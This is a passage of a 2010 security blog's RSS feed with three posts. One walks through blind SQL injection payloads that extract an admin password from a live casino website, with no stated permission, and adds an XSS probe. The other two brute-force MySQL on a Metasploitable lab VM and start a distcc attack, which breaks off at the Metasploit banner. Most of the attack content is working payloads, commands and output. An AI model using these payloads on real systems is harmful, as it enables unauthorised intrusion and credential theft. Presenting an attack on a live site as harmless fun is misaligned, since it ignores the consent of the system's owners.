		<comments>http://0xzoidberg.wordpress.com/2010/07/04/hacking-a-casino/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 23:50:25 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=260</guid>
		<description><![CDATA[Hey, So I was playing around with a friends website the other day and managed to break into the &#8216;admin&#8217; area. I thought I should write a quick post to explain how I managed to do this. First of all, I am not going to disclose the link to you all for obvious reasons so [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=260&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey, </p>
<p>So I was playing around with a friends website the other day and managed to break into the &#8216;admin&#8217; area.  I thought I should write a quick post to explain how I managed to do this.</p>
<p>First of all, I am not going to disclose the link to you all for obvious reasons so the link in the examples will actually be commented out.  Anyway, a little about the website in question.  It is a casino website that is written in mainly Flash with a little ASP.net relying on an MSSQL database.  The main casino login was protected pretty well.  I decided to fuzz for other directories and found the obvious one: /admin/.  This was the login page to the backend of the casino, much more fun than the frontend login, at least that&#8217;s what I thought <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  So, onto the hack&#8230;</p>
<p>When you visit:</p>
<p>http://www.xxx.co.uk/admin/login.aspx</p>
<p>You are presented with a login page that simply has a Username and Password form with a login and reset button.  Right underneath the login/reset buttons was a string that said &#8220;username not found&#8221; or &#8220;password not found&#8221;, depending on which was correct or not.  This enabled me to test the SQL injection and see if my queries were true or false.  My friends name was Nigel Davies, I tried a combination of usernames that I thought he would use and stumbled across: &#8220;nigel_d&#8221;.  How did I know that this was the correct username? Well I first of all started entering usernames and passwords, not to try and guess them but to see how the form reacted to different inputs, I got the following when I entered an incorrect username:</p>
<p>&#8220;username not found&#8221;</p>
<p>No surprises there then, however when I tried the &#8220;nigel_d&#8221; username and a random password I was presented with:</p>
<p>&#8220;wrong password&#8221;</p>
<p>Bingo! We now know the username &#8220;nigel_d&#8221; is valid <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  </p>
<p>I then went on to test for SQL injections, my first point of call was the normal:</p>
<p>Username: &#8216;<br />
Password: &#8216;</p>
<p>And I received the following page back:</p>
<p>Server Error in &#8216;/&#8217; Application.<br />
Unclosed quotation mark after the character string &#8221;&#8217;.<br />
Incorrect syntax near &#8221;&#8217;.<br />
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.</p>
<p>Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string &#8221;&#8217;.<br />
Incorrect syntax near &#8221;&#8217;.</p>
<p>Source Error:</p>
<p>Line 29:         con.Open()<br />
Line 30:         cmdSelect = New SqlCommand(&#8220;Select * From tb_CP_control where username= &#8216;&#8221; &amp; username &amp; &#8220;&#8216;&#8221;, con)<br />
Line 31:         rd = cmdSelect.ExecuteReader()<br />
Line 32:         rd.Read()<br />
Line 33:         If rd.HasRows = True Then</p>
<p>Stack Trace:</p>
<p>[SqlException (0x80131904): Unclosed quotation mark after the character string '''.<br />
Incorrect syntax near '''.]<br />
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950890<br />
   System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846875<br />
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194<br />
   System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392<br />
   System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +33<br />
   System.Data.SqlClient.SqlDataReader.get_MetaData() +83<br />
   System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297<br />
   System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +954<br />
   System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +162<br />
   System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32<br />
   System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +141<br />
   System.Data.SqlClient.SqlCommand.ExecuteReader() +89<br />
   ASP.admin_login_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx:31<br />
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +256<br />
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +19<br />
   System.Web.UI.Page.Render(HtmlTextWriter writer) +29<br />
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +27<br />
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +99<br />
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25<br />
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1266</p>
<p>Version Information: Microsoft .NET Framework Version:2.0.50727.3603; ASP.NET Version:2.0.50727.3082 </p>
<p>Woohoo, look at all that juicy information! What have we got here then, the first interesting part is:</p>
<p>Line 29:         con.Open()<br />
Line 30:         cmdSelect = New SqlCommand(&#8220;Select * From tb_CP_control where username= &#8216;&#8221; &amp; username &amp; &#8220;&#8216;&#8221;, con)<br />
Line 31:         rd = cmdSelect.ExecuteReader()<br />
Line 32:         rd.Read()<br />
Line 33:         If rd.HasRows = True Then</p>
<p>This shows us the actual SQL statement being executed:</p>
<p>Select * From tb_CP_control where username= &#8216;&#8221; &amp; username &amp; &#8220;&#8216;</p>
<p>This is almost certainly vulnerable to SQL injection attacks <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  The next interesting part is this:</p>
<p>Source File: e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx    Line: 31</p>
<p>Path disclosure. This tells me that it is a shared hosting environment because of the order of the path, domains, first letter of the domains, domain itself, so on and so forth.  Also looking at the whois information for the domain shows it is registered and hosted with a fairly well known hosting company.  That would be interesting if the scope of the test was the whole server itself.. however I am just playing with my friends website, so we will get back on track&#8230;</p>
<p>The problem we have here, is the Username field is vulnerable to SQL injection, however the Password field is not.  So the only option I can think of, is to use the username field to bruteforce the password.. sounds good, let&#8217;s give it a try&#8230;</p>
<p>So let&#8217;s try bruteforcing the password then (I am using the FireFox plugin HackBar to aid me in this, so the SQL will be a copy and paste from what I enter in there):</p>
<p>user=&#8217; or 1=1 and password like &#8216;a%&#8217;&#8211; &amp;passwd=a</p>
<p>What happens here is we broaden the select statement to include all users with the (&#8216; or 1=1) meaning true, then we narrow the select statement so we only receive the ones with a password matching our pattern using the like statement.  Like uses two different wild cards &#8216;_&#8217; for single letters and &#8216;%&#8217; for any strings (without the quotes).  </p>
<p>So we are testing to see if any users passwords begin with &#8216;a&#8217;.  We can now go through all characters a-zA-Z0-9 to find ones that match and that will make up our password.  There is a way to speed things up here, such as using upper(password) and then passing &#8216;A%&#8217; and &amp;passwd=A.  This then means we only have to go through characters A-Z0-9, which is a lot quicker. So moving on, after we enter the SQL statement above we get the following returned on the page:</p>
<p>&#8220;username not found&#8221;</p>
<p>Which means the letter a doesn&#8217;t match any users first character of their passwords.  Let&#8217;s move onto the next character:</p>
<p>user=&#8217; or 1=1 and upper(password) like &#8216;B%&#8217;&#8211; &amp;passwd=B</p>
<p>Which gives us:</p>
<p>&#8220;username not found&#8221;</p>
<p>Still no characters matching <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' />  moving on and leaving out a few to keep the post short:</p>
<p>user=&#8217; or 1=1 and upper(password) like &#8216;N%&#8217;&#8211; &amp;passwd=N</p>
<p>This gives us something slightly different:</p>
<p>&#8220;wrong password&#8221;</p>
<p>Now this means it matched the first character to a user&#8217;s password, however its incomplete so the wrong password message is displayed.  Now we know that the first character of the password is an &#8216;n&#8217;.  Onto the 2nd character of the password:</p>
<p>user=&#8217; or 1=1 and upper(password) like &#8216;NA%&#8217;&#8211; &amp;passwd=NA</p>
<p>Which in return gives us:</p>
<p>&#8220;username not found&#8221;</p>
<p>Now we just iterate through all the chracters until we get the &#8220;wrong password&#8221; string returned:</p>
<p>user=&#8217; or 1=1 and upper(password) like &#8216;NI%&#8217;&#8211; &amp;passwd=NI</p>
<p>Which gives us:</p>
<p>&#8220;wrong password&#8221;</p>
<p>Excellent, we now have the second character.  We basically repeat this process until it logs us into the admin area.  What happens is when you hit the end character of the password, the password is correct and when you execute the statement it logs you in, I managed to get into the admin area with the following statement:</p>
<p>user=&#8217; or 1=1 and password like &#8216;niggle%&#8217;&#8211; &amp;passwd=niggle</p>
<p>So it turns out his password was &#8216;niggle&#8217; <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />   When I was doing this, I noticed something pretty bad about the way the message was displayed on the page (when you got either &#8220;wrong username&#8221; or &#8220;wrong password&#8221;) take a look at the URL that you get when it returns these strings:</p>
<p>http://www.xxx.co.uk/admin/index.asp?msg=wrong%20password</p>
<p>I smell, XSS&#8230; let&#8217;s give it a whirl <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>http://www.xxx.co.uk/admin/index.asp?msg=%22zoidberg%20pwnz%20j00%22</p>
<p>And low and behold, &#8220;zoidberg pwnz j00&#8243; gets returned as the string on the page, haha.  Returning to the SQL injection, here are a few more tricks to speed things up, if you wanna guess the password as a whole string you could use the following method:</p>
<p>user=fake_user&#8217; OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = &#8216;abc&#8217; ) = 1 &#8212; &amp;passwd=test</p>
<p>Which returns:</p>
<p>&#8220;username not found&#8221;</p>
<p>Because the password doesn&#8217;t match, however, if we try characters from the real password:</p>
<p>user=fake_user&#8217; OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = &#8216;nig&#8217; ) = 1 &#8212; &amp;passwd=test</p>
<p>We get:</p>
<p>&#8220;wrong password&#8221;</p>
<p>Excellent, so we can test it with this:</p>
<p>user=fake_user&#8217; OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,5) = &#8216;niggl&#8217; ) = 1 &#8212; &amp;passwd=test</p>
<p>&#8220;wrong password&#8221;</p>
<p>user=fake_user&#8217; OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = &#8216;niggle&#8217; ) = 1 &#8212; &amp;passwd=test</p>
<p>&#8220;wrong password&#8221;</p>
<p>user=fake_user&#8217; OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = &#8216;nigglea&#8217; ) = 1 &#8212; &amp;passwd=test</p>
<p>&#8220;username not found&#8221;</p>
<p>So as you can see that definatley confirms that &#8216;niggle&#8217; is the password.  Also a quick way to check the password length before doing the bruteforce so you know how many characters there are is:</p>
<p>user=fake_user&#8217; OR (SELECT LEN(password) From tb_CP_control ) = 1 &#8211;&amp;passwd=test</p>
<p>&#8220;username not found&#8221;</p>
<p>user=fake_user&#8217; OR (SELECT LEN(password) From tb_CP_control ) = 2 &#8211;&amp;passwd=test</p>
<p>&#8220;username not found&#8221;</p>
<p>user=fake_user&#8217; OR (SELECT LEN(password) From tb_CP_control ) = 5 &#8211;&amp;passwd=test</p>
<p>&#8220;username not found&#8221;</p>
<p>user=fake_user&#8217; OR (SELECT LEN(password) From tb_CP_control ) = 6 &#8211;&amp;passwd=test</p>
<p>&#8220;wrong password&#8221;</p>
<p>user=fake_user&#8217; OR (SELECT LEN(password) From tb_CP_control ) = 7 &#8211;&amp;passwd=test</p>
<p>&#8220;username not found&#8221;</p>
<p>So as you can see from the above statements 5 is false, 6 is true and 7 is false, meaning the password length is 6 characters long, which ties in with the password being &#8216;niggle&#8217;.  </p>
<p>I had a lot of fun playing around with this site, hope it helps someone out.  Until the next time&#8230;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/260/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=260&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/04/hacking-a-casino/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Bruteforce MySQL Using Metasploit&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/03/bruteforce-mysql-using-metasploit/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/07/03/bruteforce-mysql-using-metasploit/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 11:52:55 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=252</guid>
		<description><![CDATA[Hey guys, I will demonstrate how to brute force MySQL logins using Metasploit. This is again another attack against the Metasploitable distribution I mentioned in my previous post. This is very simple and shouldn&#8217;t take long to demonstrate, so here goes: root@bt:/pentest/exploits/framework3# ./msfconsole __. .__. .__. __. _____ _____/ &#124;______ ____________ &#124; &#124; ____ &#124;__&#124;/ [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=252&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey guys,</p>
<p>I will demonstrate how to brute force MySQL logins using Metasploit.  This is again another attack against the Metasploitable distribution I mentioned in my previous post.  This is very simple and shouldn&#8217;t take long to demonstrate, so here goes:<br />
<code><br />
root@bt:/pentest/exploits/framework3# ./msfconsole<br />
</code><code><br />
                __.                       .__.        .__. __.<br />
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_<br />
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\<br />
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_&gt; &gt;  |_(   )  ||  |<br />
|__|_|  /\___  &gt;__| (____  /____  &gt;|   __/|____/\____/|__||__|<br />
      \/     \/          \/     \/ |__|</p>
<p></code><code><br />
       =[ metasploit v3.4.1-dev [core:3.4 api:1.0]<br />
+ -- --=[ 566 exploits - 276 auxiliary<br />
+ -- --=[ 210 payloads - 27 encoders - 8 nops<br />
       =[ svn r9671 updated today (2010.07.03)<br />
</code><code><br />
msf &gt; search mysql<br />
[*] Searching loaded modules for pattern 'mysql'...<br />
</code><code><br />
Auxiliary<br />
=========<br />
</code><code><br />
   Name                         Rank    Description<br />
   ----                         ----    -----------<br />
   admin/mysql/mysql_enum       normal  MySQL Enumeration Module<br />
   admin/mysql/mysql_sql        normal  MySQL SQL Generic Query<br />
   admin/tikiwiki/tikidblib     normal  TikiWiki information disclosure<br />
   scanner/mysql/mysql_login    normal  MySQL Login Utility<br />
   scanner/mysql/mysql_version  normal  MySQL Server Version Enumeration<br />
</code><code><br />
Exploits<br />
========<br />
</code><code><br />
   Name                             Rank     Description<br />
   ----                             ----     -----------<br />
   linux/mysql/mysql_yassl_getname  good     MySQL yaSSL CertDecoder::GetName Buffer Overflow<br />
   linux/mysql/mysql_yassl_hello    good     MySQL yaSSL SSL Hello Message Buffer Overflow<br />
   windows/mysql/mysql_yassl_hello  average  MySQL yaSSL SSL Hello Message Buffer Overflow<br />
</code><code><br />
msf &gt; use scanner/mysql/mysql_login<br />
msf auxiliary(mysql_login) &gt; show options<br />
</code><code><br />
Module options:<br />
</code><code><br />
   Name              Current Setting  Required  Description<br />
   ----              ---------------  --------  -----------<br />
   BLANK_PASSWORDS   true             yes       Try blank passwords for all users<br />
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5<br />
   PASSWORD                           no        A specific password to authenticate with<br />
   PASS_FILE                          no        File containing passwords, one per line<br />
   RHOSTS                             yes       The target address range or CIDR identifier<br />
   RPORT             3306             yes       The target port<br />
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host<br />
   THREADS           1                yes       The number of concurrent threads<br />
   USERNAME                           no        A specific username to authenticate as<br />
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line<br />
   USER_FILE                          no        File containing usernames, one per line<br />
   VERBOSE           true             yes       Whether to print output for all attempts<br />
</code><code><br />
msf auxiliary(mysql_login) &gt; set PASS_FILE /root/password.txt<br />
PASS_FILE =&gt; /root/password.txt<br />
msf auxiliary(mysql_login) &gt; set USER_FILE /root/users.txt<br />
USER_FILE =&gt; /root/users.txt<br />
msf auxiliary(mysql_login) &gt; set RHOSTS 10.113.8.102<br />
RHOSTS =&gt; 10.113.8.102<br />
msf auxiliary(mysql_login) &gt; show options<br />
</code><code><br />
Module options:<br />
</code><code><br />
   Name              Current Setting     Required  Description<br />
   ----              ---------------     --------  -----------<br />
   BLANK_PASSWORDS   true                yes       Try blank passwords for all users<br />
   BRUTEFORCE_SPEED  5                   yes       How fast to bruteforce, from 0 to 5<br />
   PASSWORD                              no        A specific password to authenticate with<br />
   PASS_FILE         /root/password.txt  no        File containing passwords, one per line<br />
   RHOSTS            10.113.8.102        yes       The target address range or CIDR identifier<br />
   RPORT             3306                yes       The target port<br />
   STOP_ON_SUCCESS   false               yes       Stop guessing when a credential works for a host<br />
   THREADS           1                   yes       The number of concurrent threads<br />
   USERNAME                              no        A specific username to authenticate as<br />
   USERPASS_FILE                         no        File containing users and passwords separated by space, one pair per line<br />
   USER_FILE         /root/users.txt     no        File containing usernames, one per line<br />
   VERBOSE           true                yes       Whether to print output for all attempts<br />
</code><code><br />
msf auxiliary(mysql_login) &gt; exploit<br />
</code><code><br />
[*] 10.113.8.102:3306 - Found remote MySQL version 5.0.51a<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:''<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password ''<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:''<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password ''<br />
[*] 10.113.8.102:3306 Trying username:'god' with password:''<br />
[*] 10.113.8.102:3306 failed to login as 'god' with password ''<br />
[*] 10.113.8.102:3306 Trying username:'systemadm' with password:''<br />
[*] 10.113.8.102:3306 failed to login as 'systemadm' with password ''<br />
[*] 10.113.8.102:3306 Trying username:'daemon' with password:''<br />
[*] 10.113.8.102:3306 failed to login as 'daemon' with password ''<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'pass'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'pass'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'password'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'password'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'PASSWD'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'PASSWD'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'passwd'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'passwd'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'Password'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'Password'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'admin'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'admin'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'root'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'root'<br />
[*] 10.113.8.102:3306 Trying username:'admin' with password:'adminadmin'<br />
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'adminadmin'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'pass'<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password 'pass'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'password'<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password 'password'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'PASSWD'<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password 'PASSWD'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'passwd'<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password 'passwd'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'Password'<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password 'Password'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'admin'<br />
[*] 10.113.8.102:3306 failed to login as 'root' with password 'admin'<br />
[*] 10.113.8.102:3306 Trying username:'root' with password:'root'<br />
[+] 10.113.8.102:3306 - SUCCESSFUL LOGIN 'root' : 'root'<br />
[*] Scanned 1 of 1 hosts (100% complete)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(mysql_login) &gt;<br />
</code><br />
Bingo! We found the root password which is simply &#8216;root&#8217; <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Now let&#8217;s double check this:<br />
<code><br />
root@bt:/pentest/exploits/framework3# mysql -h 10.113.8.102 -u root -p<br />
Enter password:<br />
Welcome to the MySQL monitor.  Commands end with ; or \g.<br />
Your MySQL connection id is 53<br />
Server version: 5.0.51a-3ubuntu5 (Ubuntu)<br />
</code><code><br />
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.<br />
</code><code><br />
mysql&gt; show databases;<br />
+--------------------+<br />
| Database           |<br />
+--------------------+<br />
| information_schema |<br />
| mysql              |<br />
| tikiwiki           |<br />
| tikiwiki195        |<br />
+--------------------+<br />
4 rows in set (0.01 sec)<br />
</code><code><br />
mysql&gt;<br />
</code><br />
Now we have complete control over their database, yay! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/252/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=252&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/03/bruteforce-mysql-using-metasploit/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking distcc with Metasploit&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/03/hacking-distcc-with-metasploit/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/07/03/hacking-distcc-with-metasploit/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 11:27:56 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=247</guid>
		<description><![CDATA[Hey, I have been playing around with Metasploitable. This is a test system produced by the Metasploit team that is very vulnerable. One of the services it is running is distcc. Today I will show you how to own it using Metasploit&#8230; First of all we shall start with a port scan of the system: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=247&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>I have been playing around with <a href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html">Metasploitable</a>.  This is a test system produced by the Metasploit team that is very vulnerable.  One of the services it is running is <a href="http://distcc.samba.org/">distcc</a>.  Today I will show you how to own it using Metasploit&#8230;</p>
<p>First of all we shall start with a port scan of the system:<br />
<code><br />
root@bt:~# nmap -sV -sS -p1-65535  10.113.8.102<br />
</code><code><br />
Starting Nmap 5.21 ( http://nmap.org ) at 2010-07-03 11:04 BST<br />
Nmap scan report for ml-dkelly.messagelabs.com (10.113.8.102)<br />
Host is up (0.0034s latency).<br />
Not shown: 65522 closed ports<br />
PORT     STATE SERVICE     VERSION<br />
21/tcp   open  ftp         ProFTPD 1.3.1<br />
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br />
23/tcp   open  telnet      Linux telnetd<br />
25/tcp   open  smtp        Postfix smtpd<br />
53/tcp   open  domain      ISC BIND 9.4.2<br />
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)<br />
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)<br />
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)<br />
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5<br />
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))<br />
5432/tcp open  postgresql  PostgreSQL DB<br />
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)<br />
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1<br />
MAC Address: 00:0C:29:9F:54:C9 (VMware)<br />
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux<br />
</code><code><br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 30.45 seconds<br />
root@bt:~#<br />
</code><br />
We are most interested in the following line:<br />
<code><br />
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))<br />
</code><br />
Right, so let&#8217;s fire up Metasploit then:<br />
<code><br />
root@bt:/pentest/exploits/framework3# ./msfconsole<br />
</code><code><br />
 ____________</p>
<p> ------------<br />
       \   ,__,<br />
        \  (oo)____<br />
           (__)    )\<br />
              ||--|| *<br />
</code><br />
<code><br />
       =[ metasploit v3.4.1-dev [core:3.4 api:1.0]<br />
+ -- --=[ 566 exploits - 276 auxiliary<br />
+ -- --=[ 210 payloads - 27 encoders - 8 nops<br />
